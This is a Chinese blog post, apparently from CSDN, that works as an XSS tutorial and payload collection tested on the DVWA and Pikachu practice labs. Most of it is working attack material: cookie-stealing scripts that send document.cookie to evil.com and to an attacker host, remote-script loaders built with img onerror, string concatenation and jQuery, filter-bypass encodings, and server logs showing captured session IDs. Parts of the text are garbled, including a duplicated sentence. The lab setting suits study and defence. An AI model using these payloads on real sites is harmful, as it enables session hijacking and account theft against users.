xss漏洞

1.反射型XSS:

在反射型 xss 代码中,首先判断 G E T [ ′ m s s a g e ′ ] 是否等于 k o b e ,如果不是,则在页面中将 _GET['mssage']是否等于 kobe,如果不是,则在页 面中将 GET[mssage]是否等于kobe,如果不是,则在页面中将_GET[‘mssage’]复制给$html 变量中,而且没有任何过滤再输出到页面中,所以
直接输入页面会直接输出 xss 信息,就会造成 xss攻击

<script>alert('xss');</script>
<script>alert(/xss/);</script>
<script>alert(1);</script>
2.存储型XSS:

存储型 xss 代码分析中,看到留言的 inster into 语句中,直接插入留言信息,
没有任何过滤,输入恶意代码,这个代码将记录在数据中。浏览器在访问该页面
时,恶意代码会从数据库字段里取出这条记录,没有经过任何处理就直接输出。
浏览器访问这个页面,会弹窗显示 xss 。

<script>alert('xss');</script>
<script>alert(/xss/);</script>
<script>alert(1);</script>
3.DOM型XSS:

点击按钮时,会调用 domxss()函数,跟踪 domxss 函数

function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you
see?</a>";
}

获取 id text 文本的值,修改 id 为 dom 的 html 值
输入’ οnclick=“alert(‘dom xss 漏洞’)”> 闭合前面的单引号
javascript:alert(“dom xss 漏洞”)

4.XSS测试语句:

常用的测试语句

<h5>1</h5>
<span>1</span>
<script>console.log(1);</script>

闭合
“>x<”
‘>">x<’
单行注释
">x//

5.XSS攻击语句:
<script>alert(1)</script> 
<img src=x onerror=alert(1)> 
<svg onload=alert(1)> 
<a href=javascript:alert(1)>
<script>alter('xss')</script>;
6.XSS常见利用:

构建xss恶意代码获取对方浏览器的cookie:
保存为js:

var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

在 kali 里面打开 sudo python -m SimpleHTTPServer 80 小型 web 服务
登陆 dvwa 后台输入 xss 代码,插入之后,受害者访问该网页就会把它的 cookie
发送到 kali 的 web 服务上
自动匹配http或者https:

<script src=//192.168.200.130/xss.js></script>
<script src=http://192.168.200.130/xss.js></script>
<script src="http://192.168.200.130/xss.js"></script>

kali获取到了靶机的cookie:
192.168.200.128 - - [18/May/2023 16:51:44] “GET /xss.js HTTP/1.1” 200 -
192.168.200.128 - - [18/May/2023 16:51:44] “GET /?cookies=
security%3Dlow%3B%20PHPSESSID%3Dqcef87q8a0v0glib8u4is628v0 HTTP/1.1” 200 -

7.加载远程攻击的payload:

图片创建加载链接:

<img src=''οnerrοr=document.body.appendChild(document.createElement('script')).src='//192.168.200.130/xss.js'>

字符拼接:

<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://192.'</script>
<script>z=z+'168.200.130'</script>
<script>z=z+'/xss.js'</script>
<script>z=z+'></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>
有的情况要用/**/注释不需要的代码

jquery加载:

<script>$.getScript("//192.168.200.130/xss.js");</script>
8.利用 xss 平台盗取 cookie 登录

将如下代码植入怀疑出现xss的地方(注意’的转义),即可在 项目内容 观看XSS效果。

</textarea>'"><script src=http://www.myxss.com/bB6Ivm?1684405473></script>

获取:
toplocation : http://192.168.200.129/01/vulnerabilities/xss_s/
cookie : //192.168.200.129/01/vulnerabilities/xss_s/

登录//192.168.200.129/01/vulnerabilities/xss_s/网站,抓包;
将其中的cookie替换成:
//192.168.200.129/01/vulnerabilities/xss_s/

9.xss编码绕过:

gpc 过滤字符:

<script src='http://192.168.200.130/xss.js'></script>
------------>
<script src=http://192.168.200.130/xss.js></script>

过滤alert:

<script>alert('xss');</script>
-------->
<script>prompt(/xss/);</script>
<script>confirm(1);</script>

过滤标签:
htmlspecialchars()对输入的字符进行实体化 实体化之后的字符不会在 html 执
行。把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体,构造
xss 恶意代码大多数都必须使用<或者>,这两个字符被实体化后在 html 里就
不能执行了
1.php------------>

<?php
echo htmlspecialchars($GET('id'));
?>

但是有在 input 这些标签里是不用考虑标签实体化,因为用不上<>这两个标签。
2.php------------>

<input type="text" name="username" value="" onclick="javascript:alert('xss');"/>

ascii编码:

<script>alert(String.fromCharCode(88,83,83))</script>

url编码:

<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>

JS编码:
8进制:

<script>eval("\141\154\145\162\164\50\61\51");</script>

16进制:

<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>

HTML编码:

十进制
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;" />
<button onclick="confirm('7&#39;);">Button</button>
十六进制
<img src="x" onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"/>

base64编码:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
10.xss实战:

kali开启80端口:
sudo python -m SimpleHTTPServer 80
pikachu中DOM型xss输入:
javascript:eval(document.location=“http://192.168.200.130/?cookie=”+document.cookie);//
点击链接会获取到cookie:
---------------->
192.168.200.128 - - [19/May/2023 09:52:42] “GET /?cookie=PHPSESSID=agoce2mve8mh2j82qov8c6p4p1 HTTP/1.1” 200 -
192.168.200.128 - - [19/May/2023 09:52:42] code 404, message File not found
192.168.200.128 - - [19/May/2023 09:52:42] “GET /favicon.ico HTTP/1.1” 404 -

11.xss进阶实战:
DOM型xss-x:
document.getElementById(“dom”).innerHTML = “就让往事都随
风,都随风吧
”;
拼接字符改变 dom 的 html
发现是 a 标签 所以可以使用 javascript:aler

xss之htmlspecialchars:
输入

<script>alert(1);</script>
<p class='notice'>你的输入已经被记录:
</p><a href='&lt;script&gt;alert(1);&lt;script&gt;'>&lt;script&gt;alert(1);&lt;script&gt;</a> 

但是URL中的<>没有被过滤:
---------------->
http://192.168.200.129/06/vul/xss/xss_02.php?message=%3Cscript%3Ealert%281%29%3B%3Cscript%3E&submit=submit
构造语句:
192.168.200.129/06/vul/xss/xss_02.php?message=javascript:alert(1)&submit=submit

xss之过滤:
过滤 message 的 script 但是没有区分大小写。所以输入

<SCRIPT>alert(/xss/)</sCRIpt>

xss之js输出:
输入

<script>alert(1);</script>

输入的参数没有被过滤。构造语句即可弹 xss 窗’;alert(‘xss’)// 单引号闭合前面 //注释后面字

xss之herf输出:
输入输入

<script>alert(1);</script>

阁下自己输入的url还请自己点一下吧
但是URL中的<>没有被过滤,直接构造:
192.168.200.129/06/vul/xss/xss_03.php?message=javascript:alert(1)&submit=submit

xss盲打:
输入输入

<script>alert(1);</script>

​ 123
登录:http://192.168.200.129/06/vul/xss//xssblind/admin_login.php
出现弹窗。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

物极必反反

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值